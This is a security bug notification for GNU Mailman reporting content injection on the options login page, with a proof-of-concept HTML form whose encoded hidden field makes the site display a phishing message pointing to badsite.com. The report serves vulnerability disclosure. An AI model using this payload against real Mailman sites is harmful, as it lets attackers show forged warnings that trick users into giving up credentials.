New subject: [Bug 1873722] Re: Arbitrary Content Injection via the options login page.

19 Apr 2020

      *** This bug is a security vulnerability ***
Private security bug reported:
An issue similar to CVE - https://www.cvedetails.com/cve/CVE-2018-13796/
exists at different endpoint & param. It can lead to a phishing attack.
Steps To Reproduce:
1. Copy and save the following HTML code and open it in any browser.
Code:
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://example.com/mailman/options/mailman" method="POST">
      <input type="hidden" name="email" value="Your&#32;account&#32;has&#32;been&#32;hacked&#46;&#32;Kindly&#32;go&#32;to&#32;https&#58;&#47;&#47;badsite&#46;com&#32;or&#32;share&#32;your&#32;credentials&#32;at&#32;attacker&#64;badsite&#46;com" />
      <input type="hidden" name="UserOptions" value="Unsubscribe&#32;or&#32;edit&#32;options" />
      <input type="hidden" name="language" value="en" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
2. Can be seen there- "Your account has been hacked. Kindly go to
https://badsite.com or share your credentials at attacker@badsite.com"
message will be displayed on the screen.
** Affects: mailman
     Importance: Medium
     Assignee: Mark Sapiro (msapiro)
         Status: Confirmed
-- 
You received this bug notification because you are a member of Mailman
Coders, which is subscribed to GNU Mailman.
https://bugs.launchpad.net/bugs/1873722

Title:
  Arbitrary Content Injection via the options login page.

To manage notifications about this bug go to:
https://bugs.launchpad.net/mailman/+bug/1873722/+subscriptions

[Bug 1873722] [NEW] Arbitrary Content Injection via the options login page.